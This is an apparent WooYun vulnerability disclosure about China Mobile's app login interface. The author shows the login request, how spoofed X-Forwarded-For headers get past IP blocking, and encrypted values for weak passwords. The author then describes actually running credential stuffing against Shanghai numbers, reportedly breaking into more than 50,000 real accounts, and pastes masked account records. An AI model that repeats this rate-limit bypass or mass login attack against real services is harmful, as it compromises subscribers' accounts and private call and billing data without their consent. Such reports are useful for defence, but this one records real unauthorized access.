当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165947

漏洞标题:中国移动撞库几小时撞出5w+(上海几万人收到了提醒短信...)

相关厂商:中国移动

漏洞作者: 小手冰凉

提交时间:2015-12-30 11:36

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-30: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

只怪我们爱得那么汹涌
爱得那么深
于是梦醒了搁浅了沉默了挥手了
却回不了神
如果当初在交会时能忍住了
激动的灵魂
也许今夜我不会让自己在思念里
沉沦
----再也没有人一直说我厉害了,挖洞的动力都没了

详细说明:

中国移动手机营业厅在登录时使用的接口处理有问题导致可被撞库。
起因,使用的移动手机卡不在身边但是想查询自己使用的套餐,在手机上下载了“手机营业厅”,登录需要服务密码,六位数组,但是根本不知道密码,所以想着能不能暴力破解自己,抓登录数据包如下(经测试,这个接口是省份无关的,各个地区都用这个接口):

POST /biz-orange/LN/uamlogin/login HTTP/1.1
Content-Type: application/Json
Content-Length: 329
Host: **.**.**.**
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Encoding: UTF-8
{"cid":"","cv":"2.4.0","en":"3","reqBody":{"ccPasswd":"c/s7eGoaisuGcWIXrcE1oamS4fAZVuUqUzR2+FM9s0hxw51YB0v/J6uFIHH9ibmTNcepvIHdqOMnZFsJYb2bG1a2Iujxsx80eInYLTnfURVPy4z365O5Zy2PqHNj5A3GeWjqe1DD6P2VYdldf2lcMvsaLZk5Ur6XGfXgS6AI5Pw=","cellNum":"手机号","sendSmsFlag":"1"},"sn":"4.2.2","sp":"480x592","st":"1","sv":"4.2.2","t":""}


会发现其中的passwd字段是加密的,目测是RSA,手动测了几下就出现了如下返回值:

HTTP/1.1 403 Forbidden
Server: nginx
Date: Wed, 30 Dec 2015 00:42:23 GMT
Content-Type: text/html
Content-Length: 162
Connection: Keep-alive
Via: 1.1 ID-0002262061160564 uproxy-7
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

看来移动也是早有准备,同一个ip测试太多次就会被封。
这里看似就没有什么搞头了,但是突然想起一个很神奇的字段:X-Forwarded-For
"我怀着试一试的心态"添加了这个字段,再次发送请求,居然得到了正常的反馈!
看来移动在检测ip时并没有过滤X-Forwarded-For字段。
那就简单了,每次在请求包中添加随机X-Forwarded-For字段,开始爆破自己,然后发现还是我太天真了,刚换了三个ip就发现账号被锁定了!MD!账号被锁定了!!锁定了!!!!!
感觉貌似又没搞头了,但是换个角度想想,虽然不能爆破自己,但是如果不停的换手机号,撞弱密码那肯定也能撞出很多。然后随便找了三个弱口令以及对应的密文如下:

'000000':'HRp8X0EeCiu0MN0o3+l8muvPLaWA+r1FUnvADBXruN5C5QLETgvoWnqxGVGM7HLvLKeLXOI5cgPhybFTM3oMHwGvMijiCqHS8C9xfu5BwMcu7nhKQFqQmh9YevaZcMEvqjGxts9UdYfGbaNyQnC6BYSSv0pOJsrV/Pui0fYcRE8='
'123456':'QxJlbZWa2mc2ThsyEL5Fn2HbqgGKOxcBsr78B1t5HnfL2A+VBlwvy6EPaeL0HpEJ4wDRTQvzijXcniHAWUGocOc5/3iowo3isG3ovLfzeo1se52OoCh0nk2a3eYsEywBxbYBUptXCSJq/0Qq1XBHjlTyeWlW5LJeB/YYNE034x4='
'888888':'c/s7eGoaisuGcWIXrcE1oamS4fAZVuUqUzR2+FM9s0hxw51YB0v/J6uFIHH9ibmTNcepvIHdqOMnZFsJYb2bG1a2Iujxsx80eInYLTnfURVPy4z365O5Zy2PqHNj5A3GeWjqe1DD6P2VYdldf2lcMvsaLZk5Ur6XGfXgS6AI5Pw='


然后选取了上海地区的中国移动号段进行撞库。
跑了几小时,撞出5w+。每次撞库成功也就意味着手机营业厅登录成功,这个时候目标手机号会收到提醒短信。也就意味着昨天晚上有5w+的上海移动用户收到了营业厅登录成功短信。。。。。。
这个动作有点猛,感觉步子迈大了。。。。。。
马上停掉了程序,果不其然,又没过一小时服务器就连不上,估计是在后台紧急下线修补中。在此向深夜修bug的开发人员致以最真挚的歉意-给您添堵了,同时也像深夜收到短息的用户表示抱歉 --!
回头再说这5w+账号,本带打算写个程序做大数据分析下大家的话费使用情况,流量使用情况,通话详单人际关系等等然后发个牛逼点的洞。但是想想后果,还是算了。
毕竟这个服务密码还是太严重了,貌似有了这个增删改业务,查通话详单,查用量都没有问题,密码在手,天下我有。。。。

漏洞证明:

下面是爆破出的部分账户,请管理打下码

mask 区域
*****039;, u'provinceName': u'\u4e0a\u6d77', u'cit*****
*****:03', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:08', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:08', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:08', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:10', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:10', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:10', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:11', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:11', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:13', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:14', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:17', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:18', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:22', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:22', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:25', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:28', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:29', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:31', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:32', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:33', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:33', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:36', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****:39', u'userLevel': u''}, u're*****
*****#039;provinceName': u'\u4e0a\u6d77', u'cityName&*****
*****#039;, u'userLevel': u''}, u'retDesc&*****


未命名.jpg


修复方案:

忽略X-Forwarded-For字段
再次向深夜修bug的开发人员致以最真挚的歉意-给您添堵了

版权声明:转载请注明来源 小手冰凉@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-06 16:01

厂商回复:

CNVD未复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无